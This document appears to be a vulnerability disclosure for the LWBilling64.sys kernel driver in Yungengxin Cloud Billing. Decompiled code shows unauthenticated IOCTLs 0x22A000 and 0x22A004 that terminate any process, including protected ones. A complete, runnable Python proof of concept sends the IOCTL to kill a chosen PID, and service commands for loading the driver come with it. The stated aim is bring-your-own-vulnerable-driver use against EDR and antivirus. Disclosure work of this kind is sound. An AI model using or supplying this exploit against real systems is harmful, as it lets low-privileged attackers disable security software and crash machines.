| Description | ### 1. Title
Yungengxin Cloud Billing (云计费) LWBilling64.sys Arbitrary Process Termination (including PPL) via Unauthenticated IOCTL 0x22A000u/0x22A004u
### 2. Affected Component
* **Vendor (厂商):** Yungengxin / 成都领之锋网络技术有限公司
* **Product (产品):** CLOUD BILLING (云计费) - Client Disk Mounting Upgrade Tool (客户端挂盘升级工具)
* **Version (版本号):** v2024.11.28.11
* **File/Driver (漏洞组件):** `client\drivers\LWBilling64.sys`
* **SHA256 (漏洞驱动文件SHA256):** `6f19a838f703297c4fc1204de60f72dd2570388a2058d8c097029188c2ac9643`
* **Vendor Website (官方网站):** `https://yungengxin.com/`
* **Download** `https://yjf-file.yungengxin.com/download/%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%8C%82%E7%9B%98%E5%8D%87%E7%BA%A7%E5%B7%A5%E5%85%B7_v2024.11.28.11.rar`
### 3. Vulnerability Type & CWE
- **CWE**: CWE-782 (Exposed IOCTL with Insufficient Access Control) / CWE-284 (Improper Access Control)
- **Class**: Local Privilege Escalation / Defense Evasion / Denial of Service
- **Impact**: Low-privileged user can terminate arbitrary processes, including Protected Process Light (PPL) processes, from kernel context.
### 4. Vulnerability Description
A security vulnerability has been identified in the Yungengxin Cloud Billing Client Disk Mounting Upgrade Tool v2024.11.28.11. The issue resides within the kernel driver `LWBilling64.sys`.
The driver initializes a device object named `\\Device\\device_BE3D9E8A-5E53-4EC6-8EE2-E45ECD88D55B` using `IoCreateDevice` but fails to enforce proper Access Control Lists (DACLs). This oversight allows local low-privileged users to open a handle to the device.
Furthermore, the driver exposes two input/output control (IOCTL) codes, `0x22A000u` and `0x22A004u`, which do not validate the caller's privileges. When a 8-byte buffer containing a Target Process ID (PID) is sent to these IOCTLs, the driver fetches the input PID directly from the `SystemBuffer` and invokes the internal function `sub_14000443C` (which wraps `PsLookupProcessByProcessId`, `ObOpenObjectByPointer`, and `ZwTerminateProcess`) to terminate the specified process from the kernel context.
An attacker with low privileges can exploit this BYOVD (Bring Your Own Vulnerable Driver) vulnerability to terminate arbitrary critical system processes or security/EDR/Antivirus software, leading to a local privilege escalation, defense evasion, or severe system denial of service.
The driver contains a self-protection/integrity check mechanism that triggers a system restart if the main client (JF-Client) environment is missing.
IDA
```C
NTSTATUS __fastcall sub_140001020(PDEVICE_OBJECT DeviceObject, IRP *Irp)
{
...
switch ( IoControlCode )
{
case 0x22A000u:
v11 = "IoControlDispatch-NORMAL_TERMINATE_PROCESS";
if ( InputBufferLength != 8 )
goto LABEL_29;
Pid = (void *)*SystemBuffer;
log_140001AE4(
"IoControlDispatch-NORMAL_TERMINATE_PROCESS",
"normal terminating process... pid:%d\r\n",
*SystemBuffer);
if ( !sub_140002318((__int64)Pid) && !sub_140003138((__int64)Pid) )
{
v12 = sub_14000443C(Pid, 0); // KpiTerminateProcess
v13 = "normal terminate completed, status:%08lx\r\n";
v14 = "IoControlDispatch-NORMAL_TERMINATE_PROCESS";
goto LABEL_26;
}
v16 = "IoControlDispatch-NORMAL_TERMINATE_PROCESS";
break;
case 0x22A004u:
if ( InputBufferLength != 8 )
{
v11 = "IoControlDispatch-FORCE_TERMINATE_PROCESS";
goto LABEL_29;
}
Pid = (void *)*SystemBuffer;
if ( !sub_140002318(*SystemBuffer) && !sub_140003138((__int64)Pid) )
{
v5 = sub_14000443C(Pid, 0);
log_140001AE4(
"IoControlDispatch-FORCE_TERMINATE_PROCESS",
"force terminate completed, pid:%d status:%08lx\r\n",
(_DWORD)Pid,
v5);
goto LABEL_46;
}
v16 = "IoControlDispatch-FORCE_TERMINATE_PROCESS";
break;
...
}
// KpiTerminateProcess
__int64 __fastcall sub_14000443C(void *Pid, NTSTATUS ExitStatus)
{
int v3; // edi
NTSTATUS v5; // eax
unsigned int v6; // ebx
NTSTATUS v7; // eax
PEPROCESS Process; // [rsp+50h] [rbp+8h] BYREF
HANDLE ProcessHandle; // [rsp+60h] [rbp+18h] BYREF
v3 = (int)Pid;
_mm_lfence();
if ( (unsigned __int64)Pid > 4 )
{
Process = nullptr;
v5 = PsLookupProcessByProcessId(Pid, &Process);
v6 = v5;
if ( v5 >= 0 )
{
if ( Process == IoGetCurrentProcess() )
{
_mm_lfence();
v6 = 0;
sub_140001C94("KpiTerminateProcess", "can't terminate self. pid:%d status:%08lx\r\n", v3, 0);
}
else
{
v7 = ObOpenObjectByPointer(Process, 0x200u, nullptr, 1u, (POBJECT_TYPE)PsProcessType, 0, &ProcessHandle);
v6 = v7;
if ( v7 >= 0 )
{
v6 = ZwTerminateProcess(ProcessHandle, ExitStatus);
ZwClose(ProcessHandle);
}
else
{
_mm_lfence();
log_140001AB4("KpiTerminateProcess", "ObOpenObjectByPointer failed! pid:%d status:%08lx\r\n", v3, v7);
}
}
ObfDereferenceObject(Process);
}
else
{
_mm_lfence();
log_140001AB4("KpiTerminateProcess", "PsLookupProcessByProcessId failed! pid:%d status:%08lx\r\n", v3, v5);
}
return v6;
}
else
{
log_140001AB4("KpiTerminateProcess", "pid must by greater 4, pid is:%d\r\n", (_DWORD)Pid);
return 3221225485LL;
}
}
```
### 5. POC
```python
import ctypes
from ctypes import wintypes
import sys
# Define Windows API Constants
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3
FILE_ATTRIBUTE_NORMAL = 0x80
# Vulnerable Driver Constants
DEVICE_NAME = r"\\.\symbol_BE3D9E8A-5E53-4EC6-8EE2-E45ECD88D55B"
IOCTL_NORMAL_TERMINATE = 0x22A000
IOCTL_FORCE_TERMINATE = 0x22A004
def trigger_exploit(target_pid):
print(f"[*] Target Device: {DEVICE_NAME}")
print(f"[*] Target PID to terminate: {target_pid}")
# 1. Open a handle to the vulnerable driver device
h_device = ctypes.windll.kernel32.CreateFileW(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
None,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
None
)
if h_device == -1 or h_device == 0xFFFFFFFF:
print(f"[-] Failed to open handle to the device. Error code: {ctypes.windll.kernel32.GetLastError()}")
return False
print("[+] Successfully opened handle to the vulnerable driver.")
# 2. Prepare the 8-byte input buffer containing the Target PID
# The driver reads the PID as a 64-bit value or pointer (8 bytes) from SystemBuffer
input_buffer = ctypes.c_ulonglong(target_pid)
bytes_returned = wintypes.DWORD(0)
print(f"[*] Sending IOCTL 0x{IOCTL_FORCE_TERMINATE:X} to kill PID {target_pid}...")
# 3. Send the IOCTL request to trigger sub_14000443C (ZwTerminateProcess)
success = ctypes.windll.kernel32.DeviceIoControl(
h_device,
IOCTL_FORCE_TERMINATE, # You can also try IOCTL_NORMAL_TERMINATE
ctypes.byref(input_buffer),
ctypes.sizeof(input_buffer), # Must be exactly 8 bytes
None,
0,
ctypes.byref(bytes_returned),
None
)
# 4. Clean up
ctypes.windll.kernel32.CloseHandle(h_device)
if success:
print("[+] DeviceIoControl executed successfully! Check if the target process was terminated.")
return True
else:
print(f"[-] DeviceIoControl failed. Error code: {ctypes.windll.kernel32.GetLastError()}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python poc.py <Target_PID>")
print("Example: python poc.py 1234")
sys.exit(1)
pid = int(sys.argv[1])
trigger_exploit(pid)
```
### Reproduction & Usage Steps:
1. Open a Command Prompt (CMD) with Administrator privileges to install and start the driver:
```cmd
sc create LWBilling64 type= kernel start= demand binPath= "C:\Users\TestComputer\Desktop\LWBilling64.sys" displayname= "LWBilling64 Driver"
sc start LWBilling64
```
2. Open a standard Command Prompt (Low Privilege/Normal User) and execute the Python PoC script by passing the target PID you want to terminate:
```cmd
python poc.py <target_pid>
# Example: python poc.py 1234
``` |
|---|